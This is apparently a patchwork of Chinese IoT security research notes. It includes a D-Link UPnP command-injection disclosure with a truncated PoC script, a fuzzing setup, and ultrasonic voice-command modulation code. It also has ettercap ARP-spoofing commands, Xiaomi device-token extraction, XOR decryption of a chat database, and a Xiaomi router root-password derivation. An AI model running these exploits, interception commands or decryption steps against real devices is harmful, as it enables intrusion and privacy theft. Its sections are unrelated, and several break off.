by Cool

漏洞已提交厂商

https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10206
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-29379

漏洞类型

CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

受影响设备及软件版本

DIR-802 hardware revision Ax before v1.00b05
https://pmdap.dlink.com.tw/PMD/GetAgileFile?itemNumber=FIR1300450&fileName=DIR802_FW100b05.zip&fileSize=6163759.0;

漏洞概要

DIR-802中存在一个命令注入漏洞，攻击者可以通过精心制作的M-SEARCH数据包向UPnP注入任意命令。

漏洞详情

与CVE-2020-15893相似，在固件版本v-1.00b05之前的D-Link DIR-802 A1上发现了一个问题。默认情况下，端口1900上启用了通用即插即用（UPnP）。攻击者可以通过将有效负载注入SSDP M-SEARCH发现数据包的“搜索目标”（ST）字段来执行命令注入。

POC

# coding: utf-8
import socket
import struct
buf = 'M-SEARCH * HTTP/1.1\r\nHOST:192.168.0.1:1900\r\nST:urn:schemas-upnp-org:service
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("192.168.0.1", 1900))
s.send(buf)
s.close()

漏洞复现

使用firmadyne进行固件模拟，运行UPnP服务

攻击者可以是连接到路由器局域网内并且能够向UPnP端口发送请求的任何人。可以通过编写简单的python脚本将精心制作的数据包发送到特定的upnp端口，该脚本随后将作为精心制作的请求的一部分执行提供的命令。共享的POC将打开端口8089上的telnet服务。

AFL是基于变异的模糊测试方法的代表工作，其主要应用于非结构化数据处理程序的漏洞挖掘中。但使用AFL具有比较多的限制：

1. 本地运行被测程序，从而获取覆盖率等反馈信息
2. 被测程序从基本输入输出获取数据

因此无法直接使用AFL对远程服务进行黑盒测试

现有工作

目前针对限制2已经有一些解决方案：

1. hook socket调用：利用 preeny库辅助；AFLplusplus
   1. https://www.cnblogs.com/hac425/p/9416917.html
   2. https://github.com/AFLplusplus/AFLplusplus/tree/stable/utils/socket_fuzzing
2. 修改AFL传递数据的方式：AFLNet: A Greybox Fuzzer for Network Protocols，aflnet在AFL的基础上，将标准输入修改为网络发包的方式
   1. https://github.com/aflnet/aflnet
   2. https://www.comp.nus.edu.sg/~abhik/pdf/AFLNet-ICST20.pdf
3. 修改网络程序接收数据的方式：bind9的代码中专门提供了用于Fuzz的部分。
   1. https://github.com/isc-projects/bind9/tree/main/fuzz
4. 利用AFL Persistent Mode
   1. https://www.fastly.com/blog/how-fuzz-server-american-fuzzy-lop
   2. https://sensepost.com/blog/2017/fuzzing-apache-httpd-server-with-american-fuzzy-lop-%2B-persistent-mode/
5. 利用辅助程序转发AFL的输入
   1. https://github.com/LyleMi/aflnw/blob/main/README.zh-cn.md

但是如果无法将程序放在本地运行，比如物联网设备在拿不到固件的情况下，如何利用AFL的变异方式进行模糊测试。

黑盒方案

在aflnw的基础上，对辅助程序的工作方式进行了修改，从而实现在不对AFL和被测程序进行修改的条件下，使用一个辅助程序接收AFL从标准输入传递进来的数据，然后通过网络转发给UPnP服务，辅助程序会间隔性地与UPnP端口建立TCP连接，从而判断测试用例是否导致程序崩溃。

如何安装

git clone https://github.com/LyleMi/aflnw.gitcd aflnw
export CC=/path/to/afl/afl-clang-fast
mkdir build && cd build && cmake .. && make

如何使用

1. 使用wireshark采集种子输入（Follow→TCP Stream，保存为raw文件）
   
2. 确定通信协议（udp/tcp）、服务端监控地址、服务端监控端口、socket本地绑定地址
3. fuzz，以UPnP协议为例

   afl-fuzz -t 1000+ -i ./soap_input/ -o ./soap_out/ -- ./build/aflnw -a 192.168.2.2 -p 5000 -m tcp afl-fuzz -t 2000+ -i ./ssdp_input/ -o ./ssdp_out/ -- ./build/aflnw -a 239.255.255.250 -p 1900 -m udp

4. 崩溃重放

   ./build/aflnw -a 239.255.255.250 -p 1900 -m udp < soap_out/crashes/id:00000.... ./build/aflnw -a 192.168.2.2 -p 5000 -m tcp < ssdp_out/crashes/id:000000.....

问题

效率很低

文章中提到两种方案，一是具有信号发生器的强大变送器，二是带有智能手机的便携式变送器；前一种方案成本过于高，本文不做分析，后一种方案的实现成本在我们可接收的范围。
但原文中对后一方案的实现没有太多介绍，于是我通过邮件咨询了作者-闫琛博士，闫博士非常友好，我是在晚上十点发送的第一封邮件，差不多在十分钟内通过几封邮件的交流，解决了我的问题，很快确定了我的具体实现路径，非常感谢大佬！

• Q: 使用便携式设备攻击的时候，三星Galaxy S6 Edge发送的高频声音信号是怎么生成的呢？是预先使用专业设备调制好的信号保存为mp3吗？
• A: 通过软件调制，生成.wav的超声波音频文件，再通过三星手机播放的。
• Q: 用的是什么软件进行调制?
• A: 用过matlab和python，都是可以的

0x01 语音命令生成

https://ttstool.com/
微软的TTS接口生成的是mp3格式音频，一般来说我们使用python处理音频都是针对wav格式。
https://www.aconvert.com/cn/audio/mp3-to-wav/
我们可以通过这个网站对格式做转换。
xiaoyi.wav
这个网站的采样率最高只能达到96000hz
6wxmu-crusr.wav

0x02 语音命令调制

生成语音命令的基带信号后，我们需要在超声载波上对其进行调制，以使它们听不到。 为了利用麦克风的非线性，DolphinAttack必须利用幅度调制（AM）。

AM调制原理

使载波的振幅按照所需传送信号的变化规律而变化，但频率保持不变的调制方法。调幅在有线电或无线电通信和广播中应用甚广。调幅是高频载波的振幅随信号改变的调制（AM）。其中，载波信号的振幅随着调制信号的某种特征的变换而变化。例如，0或1分别对应于无载波或有载波输出，电视的图像信号使用调幅。调频的抗干扰能力强，失真小，但服务半径小。
假设载波uc(t)和调制信号的频率分别为ωc和Ω，在已调波中包含三个频率成分：ωc、ωc+Ω和ωc-Ω。ωc+Ω称为上边频，ωc-Ω称为下边频。

https://epxx.co/artigos/ammodulation.html
http://www.chenjianqu.com/show-44.html
https://zhuanlan.zhihu.com/p/54561504
http://www.mwhitelab.com/archives/208

使用python调制

现在我们已经有了基带信号，使用Audacity对其进行频谱分析，此语音的带宽或频谱（左图为采样频率48khz音频，右图为96khz） ：

我们可以看到带宽为8000-9000hz左右，这是女声，因此频带范围较宽。这可能导致可听范围内的频率泄露，但这里我们先不去讨论，之后再使用带宽较小的语音以创建基带语音信号。
wave包最多能读取的wav音频采样率为48khz，当超过这个值时，wave就不再支持（wave.Error: unknown format: 65534）。但我们的载波频率为30khz左右，这就要求音频文件的采样率高于60khz才能保证不失真。所幸scipy.io.wavfile支持高于48khz的wav文件读取。
使用以下Python程序来生成调制的AM和AM-SC音频，AM是广播无线电调制的“正常”声音，它加上了载波；AM-SC则只是载波与原始信号的乘积。

# coding=utf-8
import numpy as np
import matplotlib.pyplot as plt
import os
import wave
import struct
import math
from pydub import AudioSegment
import scipy.io.wavfile

def main():
    test = scipy.io.wavfile.read("xiaoyi.wav")
    nframes = len(test[1])
    waveData = np.fromstring(test[1],dtype=np.short)#将原始字符数据转换为整数
    #音频数据归一化
    maxW = max(abs(waveData))
    waveData = waveData * 1.0/maxW
    #将音频信号规整乘每行一路通道信号的格式，即该矩阵一行为一个通道的采样点，共nchannels行
    Tdata = np.reshape(waveData,[nframes,1]).T # .T 表示转置
    am = wave.open("am.wav", "w")
    amsc = wave.open("amsc.wav", "w")
    carrier = wave.open("carrier3000.wav", "w")
    for f in [am,amsc,carrier]:
        f.setnchannels(1)
        f.setsampwidth(2)
        f.setframerate(96000)
    for n in range(0, nframes):
        carrier_sample = math.cos(30000.0 * (n / 96000.0) * math.pi * 2)
        signal_am = signal_amsc= waveData[n] * carrier_sample
        signal_am += carrier_sample
        signal_am /= 2
        am.writeframes(struct.pack('h', signal_am * maxW))
        amsc.writeframes(struct.pack('h', signal_amsc * maxW))
        carrier.writeframes(struct.pack('h', carrier_sample * maxW))


if __name__=='__main__':
    main()

分别对am.wav、amsc.wav、carrier3000.wav做频谱分析
carrier3000.wav的频谱的为集中在载波频率30khz上的一个脉冲carrier3000.wav

amsc.wav的带宽约为18khz，是原来的两倍，关于f=30khz镜面对称。AM调制会创建原始信号的两个“副本”，一个在21-30kHz频段，另一个在30-39kHz。

am.wav，在这种调制中，我们可以听到载波，而在AM-SC中则听不到。频谱类似于AM-SC，但在载波频率上还有一个尖锐的“尖峰”：

0x03 语音命令发送器

下图是由智能手机驱动的便携式发射器。便携式发射器利用智能手机来发射调制信号。许多设备的最佳载波频率都大于24 kHz， 大多数智能手机无法完成任务。大多数智能手机最多支持48 kHz采样率，所以只能发送载波频率最高为24 kHz的调制窄带信号。需要支持高达192 kHz的采样率的手机，而且扬声器会衰减频率大于20 kHz的信号。为了减轻这个问题，我使用窄带超声换能器作为扬声器，并在超声换能器之前添加了一个放大器，这样有效的攻击范围得以扩展。

大杀器itchat

introduction

先来一段itchat的官方介绍吧

itchat是一个开源的微信个人号接口，使用python调用微信从未如此简单。
使用不到三十行的代码，你就可以完成一个能够处理所有信息的微信机器人。
当然，该api的使用远不止一个机器人，更多的功能等着你来发现，比如这些。
该接口与公众号接口itchatmp共享类似的操作方式，学习一次掌握两个工具。
如今微信已经成为了个人社交的很大一部分，希望这个项目能够帮助你扩展你的个人的微信号、方便自己的生活。

实际上，itchat是对微信网页端的爬虫，所以，网页端可以实现的功能都有，那么，我想要的定时群发微信消息，自然不在话下！

初步尝试

• 安装

  pip install itchat

• 一个简单实例：实现给文件传输助手发送消息

import itchat
itchat.auto_login()
itchat.send('Hello, filehelper', toUserName='filehelper')

实现定时转发

这个的实现需要注册msg_register,逻辑很简单，当收到指定群里的指定消息时，将消息转发到另一个群。

import itchat
from datetime import datetime
import time
import re
import threading
from itchat.content import TEXT
from itchat.content import *
from apscheduler.schedulers.blocking import BlockingScheduler

@itchat.msg_register([TEXT], isFriendChat=True, isGroupChat=True, isMpChat=True)
def getContent(msg):
    global g_msg
    groups = itchat.get_chatrooms(update = True)
    for g in groups:
        #print(g['NickName'])
        if g['NickName'] == '被转发的群名':
            from_group = g['UserName']
    if '每日安全简讯' in msg['Content']:
        print("get message from " + msg['FromUserName'])
        if msg['FromUserName'] == from_group:
            g_msg = msg['Content']
            print('成功获得群消息，等待转发')
            print(int(time.strftime("%H%M%S")))
            while(1):
                if int(time.strftime("%H%M%S")) > 80000:
                    SendMessage(g_msg,'发送的对象群名')
                    g_msg = ''
                    break

def SendMessage(context,gname):
    itchat.get_chatrooms(update = True)
    users = itchat.search_chatrooms(name=gname)
    userName = users[0]['UserName']
    itchat.send_msg(context,toUserName=userName)
    print("\n发送时间: " + datetime.now().strftime("%Y-%m-%d %H:%M:%S") + "\n" "发送到：" + gname + "\n" + "发送内容：" + context + "\n")
    print("*********************************************************************************")

if __name__ == '__main__':
    itchat.auto_login(hotReload=True,enableCmdQR=2)
    itchat.run(blockThread=False)

添加周期防掉线

据说每三十分钟发送一次消息可防止网页端微信掉线~~

def loop_send():
    nowTime = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    context = '现在是北京时间 :\n'+ nowTime +'\n\n我们还活着'
    itchat.get_chatrooms(update = True)
    users = itchat.search_friends(name=u'chengkun')
    userName = users[0]['UserName']
    itchat.send_msg(context,toUserName=userName)

if __name__ == '__main__':
    sched = BlockingScheduler()
    sched.add_job(loop_send,'interval',minutes=30)
    sched.start()

把程序放在服务器上

我是在腾讯云有个服务器，因为自己的电脑不可能时时刻刻开机，所以就放在服务器上，方法是：

sudo nohup python -u auto_Send.py >> auto_Send.log 2>&1 &

• 使用nohup可以让程序在后台运行
• 然后将日志输出到auto_Send.log，方便我们后期出bug了排错
• -u可以防止输出到python缓冲区

遇到的坑

线程阻塞问题

这里有两个线程，一个是定时转发，一个是循环发送，因此要设置为itchat.run(blockThread=False)以及sched = BlockingScheduler()否则会卡在某个方法。

找不到群组

这是因为users = itchat.search_chatrooms(name=gname)，在搜索的是你保存到通讯录的群组。

二维码显示不全

itchat.auto_login(hotReload=True,enableCmdQR=2)，需要设置为2

知道创宇的研究人员说，nvram配置，可以查看对应的汇编代码逻辑（配置的有问题的话很容易触发段错误）。

我需要无需硬件自动化的处理大批设备的nvram配置，上面两种方法都无法适用。但我发现Netgear的nvram配置有这两个te’d

• upnp等二进制程序通过nvram_match来匹配nvram变量与预期值
• libnvram在data段存储了设备的默认nvram配置，数据段（data segment）通常是指用来存放程序中已初始化且不为0的全局变量的一块内存区域。数据段属于静态内存分配。

于是根据这两个事实做了两个实验：

match函数

该函数的逻辑如下，a1为要查询的key，a2为待比较的对应value，调用nvram_get获得nvram中a1的value，然后和a2比较，相同的话返回1。

const char *__fastcall acosNvramConfig_match(int a1, const char *a2)
{
  const char *v2; // r4
  const char *result; // r0
  int v4; // [sp+0h] [bp-1008h]

  v2 = a2;
  result = (const char *)j_nvram_get(a1, &v4, 4096);
  if ( result )
    result = (const char *)(strcmp(result, v2) == 0);
  return result;
}

在upnp二进制程序汇编代码中，调用acosNvramConfig_match来比较nvram

我做出了一个假设：所有a2都是能够使程序正常运行的nvram值，现在想要获取它。编写IDA脚本如下：

def GetAddr(func_name):
    func_list = Functions()
    for func in func_list:
        name = GetFunctionName(func)
        if func_name == name:
            print(name,hex(func))
            func_addr=func
            return func_addr

func_addr = GetAddr('acosNvramConfig_match')
#func_addr=0xa3d4

for x in XrefsTo(func_addr,flags=0):
    print "XrefsTo nvram-match func addr: %s"%hex(x.frm)
    match_addr = x.frm
    val_addr = PrevHead(match_addr)
    key_addr = PrevHead(val_addr)
    if GetMnem(key_addr) == 'LDR':
        instr = GetDisasm(prevaddr)
        #print('LDR instruction: %s'%instr)
        addr = GetOperandValue(key_addr,1)
        key = GetString(Dword(addr))
        print('nvram key: %s'%key)
    if GetMnem(val_addr) == 'LDR':
        instr = GetDisasm(prevaddr)
        #print('LDR instruction: %s'%instr)
        addr = GetOperandValue(val_addr,1)
        val = GetString(Dword(addr))
        print('nvram value: %s'%val)

1. GetAddr(func_name) 根据函数名获得地址，这里获得了’acosNvramConfig_match’的地址0xa3d4；
2. 找到所有引用过该函数的地址，并且提取作为参数的数据。获取到函数的引用非常的简单，只需要使用XrefsTo()这个API函数就能达到我们的目的。
3. value是调用match函数的前一条指令；key是调用match函数的前两条指令；操作码都是LDR;
4. 使用GetOperandValue() 这个指令得到第二个操作数的值。注意该值存放的是“存放字符串地址”的地址
5. 使用Dword(addr)获取“存放字符串地址”，使用GetString()这个API函数从该偏移提取字符串

粘贴部分结果，有大量的重复，还有许多键值不存在，假设不成立。

('acosNvramConfig_match', '0xa3d4L')
XrefsTo nvram-match func addr: 0xc940L
nvram key: qos_bw_set_sel
nvram value: 1
XrefsTo nvram-match func addr: 0xc9b4L
nvram key: qos_bw_enable
nvram value: 1
XrefsTo nvram-match func addr: 0xfbd0L
nvram key: wlg_band
nvram value: 2.4G
XrefsTo nvram-match func addr: 0xfc84L
nvram value: 5G
XrefsTo nvram-match func addr: 0xff70L
nvram key: wlg_band
nvram value: 2.4G
nvram value: static
XrefsTo nvram-match func addr: 0x13d2cL
nvram key: board_id
nvram value: U12H127T00_NETGEAR

NVRAM默认配置

如上所述，libnvram.so中data段存放着默认配置

利用IDApython获取该区域存放的键值，注意：该区域并不存放字符串，而是存放“存放字符串地址处”的地址，所以也要通过Doword来获取实际地址

import idautils
for seg in idautils.Segments():
    if SegName(seg) == '.data':
        start = idc.SegStart(seg)
        end = idc.SegEnd(seg)
        print idc.SegName(seg),start,end
        while(start!=end):
            key = GetString(Dword(start))
            if key != None and key != '0':
                start += 4
                val = GetString(Dword(start))
                if 'upnp' in key:
                    print('%s=%s'%(key,val))
            start += 4

这里我们只关注有upnp特征的键值对

.data [77868 94004](tel:7786894004)
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=0
upnp_duration=3600
upnp_DHCPServerConfigurable=1

另外再补充几个与网络有关的配置

friendly_name=Netgear
lan_hwaddr=AA:BB:CC:DD:EE:FF
lan_ipaddr=192.168.2.2

使用这个配置成功仿真~

一些IDApython使用方法

蒸米写的：https://wooyun.js.org/drops/IDAPython%20%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%94%9F%E6%B4%BB%E6%9B%B4%E6%BB%8B%E6%B6%A6%20part1%20and%20part2.html
https://cartermgj.github.io/2017/10/10/ida-python/
https://gitee.com/it-ebooks/it-ebooks-2018-04to07/raw/master/IDAPython%20%E5%88%9D%E5%AD%A6%E8%80%85%E6%8C%87%E5%8D%97.pdf
https://www.0xaa55.com/thread-1586-1-1.html
https://wizardforcel.gitbooks.io/grey-hat-python/content/43.html

中间人攻击—流量分析

使用Nmap分析局域网内设备，得到智能设备的IP

小米智能插座：192.168.31.197 网关：192.168.31.147（控制它的手机ip）

ettercap嗅探智能设备和网关之间的流量

sudo ettercap -i ens33 -T -q -M ARP:remote /192.168.31.197// /192.168.31.147//

wireshark抓包分析

从图中可以看出，设备的命令控制包为UDP传输，既然是UDP协议传输，那么是否可以通过命令包重放攻击来对设备进行控制？
了解到在homeassistant中可实现对小米设备的集成，并在其中对设备进行管理和操作。Homeassistant，主要以Python语言开发，既然它能操控小米设备，那它底层肯定有相关的函数调用库。
为了可以消除对专有软件(米家app)的依赖，并能控制自己的设备，所以出现了MiIo。设备和米家app在同一局域网下使用的加密专有网络协议我们称之为MiIo协议。
Miio库支持的设备有：

小米IOT控制流程

在同一局域网中，小米设备可以使用专有的加密UDP网络协议进行通信控制。在网络可达的前提下，向小米设备发送hello bytes就可以获得含有token的结构体数据。之后，构造相应的结构体，并且以同样的方式发送给设备即可完成控制。具体流程如下：

设备Token的获取方式

小米设备的token获取有三种途径：miio获取、从米家app获取、从数据库获取

miio获取

在ubuntu下，先安装miio，然后发现设备：
npminstall -g miio
miiodiscover

但是很可惜，很多设备隐藏了token，使用该方法可能无法获取到token或获取到的token不正确。

米家app获取

这种方法需要的mijia app版本较老，且只对部分设备有效。

从数据库获取token

这种方法仅在Mi Home 5.0.19之前的版本可用。
该方法是读取手机中米家的app中的数据记录来获取设备的token，具体步骤如下：

• 准备一部获取root权限的安卓手机
• 安装米家app并登录账号
• 进入/data/data/com.xiaomi.smarthome/databases/
• 拷贝db，下载到电脑
• 前往网站，上传db，点击提交，即可获得token。
• 8894c73cbd5c7224fb4b8a39e360c255
  

脚本控制IOT设备

首先随意发送hellobytes获得时间和设备ID，token我们自己设置；然后构造发送的数据结构msg，cmd中的method包括：set_power(控制开关)、get_prop(获取状态)，控制的params是[‘on’]/ [‘off’]，获取状态的params是[‘power’, ‘temperature’]

如果获得了token，就能对小米的设备进行操作，如图下面是返回的信息。

总结

从目前的智能家居市场来看，用户不会只使用单个智能设备厂商的设备，所以对于厂商来说，通过开放接口给用户一些局域网的控制“自由”，实现不同厂商设备的联动是一个不错的选择。
从另外一个角度，本文中体现的安全问题我们也不容忽视。如果在局域网中不经过认证就能获取物联网设备的访问凭证，并进而进行控制，无形中给入侵者留了一扇门。例如，攻击者可经过扫描互联网发现家庭路由器，并利用弱口令或设备漏洞获得路由器的shell权限，接下来就可按照文中步骤就可以获得设备token进而控制。好在小米已经在最新的miio版本中修复了这一漏洞，大大提高了攻击者获取token的难度。

数据获取：

DENGTA_META.xml—IMEI:867179032952446
databases/2685371834.db——数据库文件

解密方式：

明文msg_t 密文msg_Data key：IMEI
msg_t = msg_Data[i]^IMEI[i%15]

实验：

import sqlite3

IMEI = '867179032952446'
conn = sqlite3.connect('2685371834.db')
c = conn.cursor()

def _decrypt(foo):
    substr = ''
    #print(len(foo))
    for i in range(0,len(foo)):
        substr += chr(ord(foo[i]) ^ ord(IMEI[i%15]))
    return substr

#rem = c.execute("SELECT uin, remark, name FROM Friends")
Msg = c.execute("SELECT msgData, senderuin, time FROM mr_friend_0FC9764CD248C8100C82A089152FB98B_New")

for msg in Msg:
    uid = _decrypt(msg[1])
    print("\n"+uid+":")
    try:
        msgData = _decrypt(msg[0]).decode('utf-8')
        print(msgData)
    except:
        pass

结果

论文解读

概要：

• 物联网（IoT）设备的快速增长的格局为其管理和安全性带来了重大的技术挑战，因为这些物联网设备来自不同的设备类型，供应商和产品模型。
• 物联网设备的发现是表征，监控和保护这些设备的先决条件。然而，手动设备注释阻碍了大规模发现，并且基于机器学习的设备分类需要具有标签的大型训练数据。因此，大规模的自动设备发现和注释仍然是物联网中的一个悬而未决的问题。
• 这篇文章提出了一种基于采集规则的引擎（ARE），它可以自动生成用于在没有任何训练数据的情况下发现和注释物联网设备的规则。ARE通过利用来自物联网设备的应用层响应数据和相关网站中的产品描述来构建设备规则，以进行设备注释。我们将事务定义为对产品描述的唯一响应之间的映射。
• 为了收集交易集，ARE提取响应数据中的相关术语作为抓取网站的搜索查询。ARE使用关联算法以（类型，供应商和产品）的形式生成物联网设备注释的规则。我们进行实验和三个应用程序来验证ARE的有效性。

背景与动机：

• 物联网蓬勃发展，造就了物联网设备的广泛应用，它不仅种类繁多，包括摄像头、打印机、路由器、电视盒子、工控系统、医疗设备等，而且数量庞大，据统计，每天就会新增5500000台物联网设备。
• 但是由于设备脆弱、缺乏管理和配置不当，物联网设备相比传统计算机要更不安全，比如之前爆发的Mirai僵尸网络，给美国造成了重大的损失。因此，为了更主动地保护IOT设备，提前发现、登记和注释物联网设备成为先决条件。
• 设备注释的内容通常为“设备类型(e.g.,routers) + 供应商(e.g.,CISCO) + 产品型号(e.g.,TV-IP302P)”，传统生成设备注释的方法有基于指纹的，也有使用标志获取的，前者对数据集和大量设备模型的要求很高，而后者需要专业知识的人工方式，因此不可能用于大规模注释而且很难去维护更新。

所以，作者希望提出一种减少对数据集和人工依赖的注释方式。本文的方法主要基于两个事实，第一个Figure 1是制造商通常会将相关信息硬编码到IOT设备，第二个Figure 2是有许多网站（如产品测评）会描述设备产品。从第一个事实，我们可以从应用层数据包获取关键词，然后根据这些关键词依据第二个事实进行网页爬虫，以获取网页上的相关描述，然后对这些描述进行自然语言处理和数据挖掘，从而建立起基于规则的映射。

核心工作—Rule Miner：

Rule Miner由三个部分构成，Transaction set是一对由应用层数据和相关网页组成的文本单元，它生成了一种规则： ，其中A是从应用层数据包中提取的一些特征，B是从相关网页抓取的设备描述；Device entity recognition结合了基于语料库的NER和基于规则的NER(命名实体识别)，前者解决了设备类型和供应商名，后者使用正则表达式识别出产品型号。但是由于一个不相干的网页也可能包含设备类型的关键词(如switch)，以及一个短语可能因为满足正则表达式而被认为是型号所以表现并不好，但好在实体与实体之间具有很高的依赖性，这三个元素常常一起出现。数据挖掘算法Apriori algorithm用于从Transaction中学习“关系”。

完整架构和应用

完整的ARE除了核心Rule Miner之外，还有Transaction Collection用于收集响应数据和网络爬虫，Rule Library用于存储生成的规则，Planner用于更新规则。
作者主要将ARE应用于三个方面，一是互联网范围的设备测量统计，二是对受损设备进行检测，三是对易受攻击的设备进行分析。

之后对ARE的效果与Nmap进行比较和评估，从产生规则的数量、规则的准确率和覆盖率、动态学习规则的能力以及时间代价，ARE都要优于Nmap。

工作总结：

• 提出ARE的框架：不需要数据集和人工干预，自动生成用于IOT设备识别的规则。
• 实现了ARE的原型并评估了它的效果：ARE在一周内生成了大量的规则，而且IOT设备识别的细粒度超过现有工具。
• 应用于三个场景中，主要发现有：大量IOT设备在互联网中可以抵达；成千上万的IOT设备易受攻击且暴露给了公众。

小米自己改了个打包解包固件的工具，基于 trx 改的（本质上还是 trx 格式），加了 RSA 验证和解包功能，路由系统里自带：

Usage:
mkxqimg [-o outfile] [-p private_key] [-f file] [-f file [-f file [-f file ]]]
        [-x file]
        [-I]

固件打包

小米官方在打包固件时用RSA私钥计算出固件的RSA签名，小米路由器下载固件后用RSA公钥来验证RSA签名，有效地防止固件被篡改。

固件解包

固件工具mkxqimage完成对固件的解包，在解包前先检查Checksum是否正确，然后利用RSA公钥/usr/share/xiaoqiang/public.pem检查RSA签名，这两个步骤通过后，根据[0x0C]的固件类型，以及[0x10]、[0x14]、[0x18]和[0x1C]的4个偏移量拆分固件。

固件更新签名校验

小米路由器进行固件更新时同样会进行签名校验，文件/usr/share/xiaoqiang/public.pem是它的公钥，用来校验签名正确与否。正因为这样，黑客如果想在不拆机的前提下刷入已植入木马的固件，只有两条路可走，一是通过入侵、社工或破解得到对应的私钥，然后对修改后的固件进行签名再刷入；二是通过漏洞，挖掘新的漏洞或者刷入有漏洞的旧版固件，然后再通过漏洞利用得到root shell进而刷入任意固件。一般来讲，第一条路是很难的，而为了堵住第二条路，可以通过限制降级来实现。

由此可见，在限制降级的前提下，在固件更新时进行签名校验，能有效地防止路由器被植入木马。

固件格式

路由固件的格式，基本是基于 openwrt 的 trx 这个简单的二进制文件格式

48 44 52 30 63 D4 11 03 FE 3D 1A FD 05 00 02 00
20 00 00 00 20 00 FE 00 00 00 00 00 00 00 00 00
FF 04 00 EA 14 F0 9F E5 14 F0 9F E5 14 F0 9F E5

第1～4字节：ASCII字符串“HDR0”，作为固件的标识；
第5～8字节：4字节整型数0x0311D464，表示固件的大小：51500132字节；
第9~12字节：固件的检查和；
第13～14字节：0x0005，表示固件中包含哪些部分；
第15～16字节：0x0002，表示固件格式版本号；
第17～20字节：0x00000020，表示固件第一部分在整个固件中的偏移量，0.4.85固件的第一部分是brcm4709_nor.bin，也就是Flash中除0xfe0000-0xff0000的board_data外的全镜像；
第21～24字节：0x00FE0020，表示固件第二部分在整个固件中的偏移量，0.4.85固件的第二部分是root.ext4.lzma，也就是硬盘中128M固件的压缩包；
第33字节开始是固件的正式内容开始。

小米开启ssh工具包

使用mkxqimage解包
（现在会提示秘钥不存在）

error fopen public key
Image verify failed, not formal image

如果能解包应该可以得到脚本文件upsetting.sh

#!/bin/sh
nvram set ssh_en=1
nvram set flag_init_root_pwd=1
nvram commit

执行脚本文件upsetting.sh后，将ssh_en设置为1，同时设置了flag_init_root_pwd项。当正式启动时，/usr/sbin/boot_check脚本检测到flag_init_root_pwd=1时，自动修改root用户密码，具体脚本为：

flg_init_pwd=`nvram get flag_init_root_pwd`
if [ "$flg_init_pwd" = "1" ]; then
	init_pwd=`mkxqimage -I`
	(echo $init_pwd; sleep 1; echo $init_pwd) | passwd root
	nvram unset flag_init_root_pwd
	nvram commit
fi

初始密码是mkxqimage -I的结果，实际是根据路由器的序列号计算得到。路由器的序列号印在底盖上，12位数字，如：561000088888

初始密码计算算法为：

substr(md5(SN+"A2E371B0-B34B-48A5-8C40-A7133F3B5D88"), 0, 8)

A2E371B0-B34B-48A5-8C40-A7133F3B5D88 为分析mkxqimage得到的salt

http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/
https://open.appscan.io/article-1163.html

官网获取或联系售后索取升级包

网络升级拦截

工具：wireshark、ettercap
流程：中间人->开始抓包->在线升级->分析固件地址->下载
案例：华为路由WS5200 四核版
这款路由器在网上找不到现有固件，我们尝试一下是否可以通过抓包在线升级过程获取固件。
首先关闭防火墙，否则无法访问路由器的服务，无法做中间人攻击。
使用ettercap进行arp欺骗，sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//
打开wireshark进行抓包。理论上说，点击升级固件之后，wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。

还好华为路由器自带了抓包的功能（方便后期的调试和维护），所以直接使用这个功能抓取报文，比做中间人要直接了当得多。

在点击升级固件之后，我们可以看到大量发往58.49.156.104这个地址的报文，猜测极有可能是华为的服务器，过滤一下会看得更清楚

可以看到在通过三次TCP握手之后，华为路由器向服务器发送了get请求，uri就是获取固件的地址 http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin
点击即可拿到最新的固件

案例：小米智能门锁
http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&Expires=1566136387000&Signature=KLOrbsRANlJD7w7bKB03xI1t4/0=

./storage/emulated/0/Android/data/com.xiaomi.smarthome/cache/ble/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin

$ binwalk -Me 250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin

Scan Time:     2019-07-20 20:01:40
Target File:   /home/han/ck/iot/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin
MD5 Checksum:  250cc495d7da7643680dadeab578fce0
Signatures:    390

通过串口读取

工具：uart转usb
流程：找到电路板上的uart接口（RX、TX、+5v、GND）->串口通信->拿到shell->tar打包固件->nc传输
案例：小爱音响

刷开发板固件，开启ssh服务

有些厂商除了稳定版固件，还会提供开发版供发烧友“玩弄”。
案例：小米路由器的开发板可通过安装ssh工具包开启ssh服务
流程：开启ssh->tar打包固件

root@XiaoQiang:/# ls
bin       data      dev       etc       extdisks  lib       mnt       opt       overlay   proc      readonly  rom       root      sbin      sys       tmp       userdisk  usr       var       www

压缩提示没有足够的空间
root@XiaoQiang:/# tar -zcf bin.tar.gz bin/*
tar: can't open 'bin.tar.gz': No space left on device

来看一下空间使用情况
root@XiaoQiang:/# df -h
Filesystem                Size      Used Available Use% Mounted on
rootfs                   25.9M     25.9M         0 100% /
none                     60.5M      4.5M     56.0M   7% /dev
tmpfs                    60.9M      1.5M     59.4M   2% /tmp
ubi0_0                   25.9M     25.9M         0 100% /
tmpfs                    60.9M      1.5M     59.4M   2% /tmp
tmpfs                    60.9M      1.5M     59.4M   2% /extdisks
ubi1_0                   45.4M      6.7M     36.3M  16% /data
ubi1_0                   45.4M      6.7M     36.3M  16% /userdisk
ubi0_0                   25.9M     25.9M         0 100% /userdisk/data
ubi1_0                   45.4M      6.7M     36.3M  16% /etc

/dev目录下还有足够空间，继续压缩
root@XiaoQiang:/# tar -zcf ./dev/bin.tar.gz bin/*
root@XiaoQiang:/# tar -zcf ./dev/data.tar.gz data/*
其他的目录也是一样的方法

scp传输到本地
scp root:password@miwifi:/dev/*.tar.gz ./Desktop

uboot提取固件

案例：2018年看雪提供的摄像头

通过调试接口JTAG/SWD

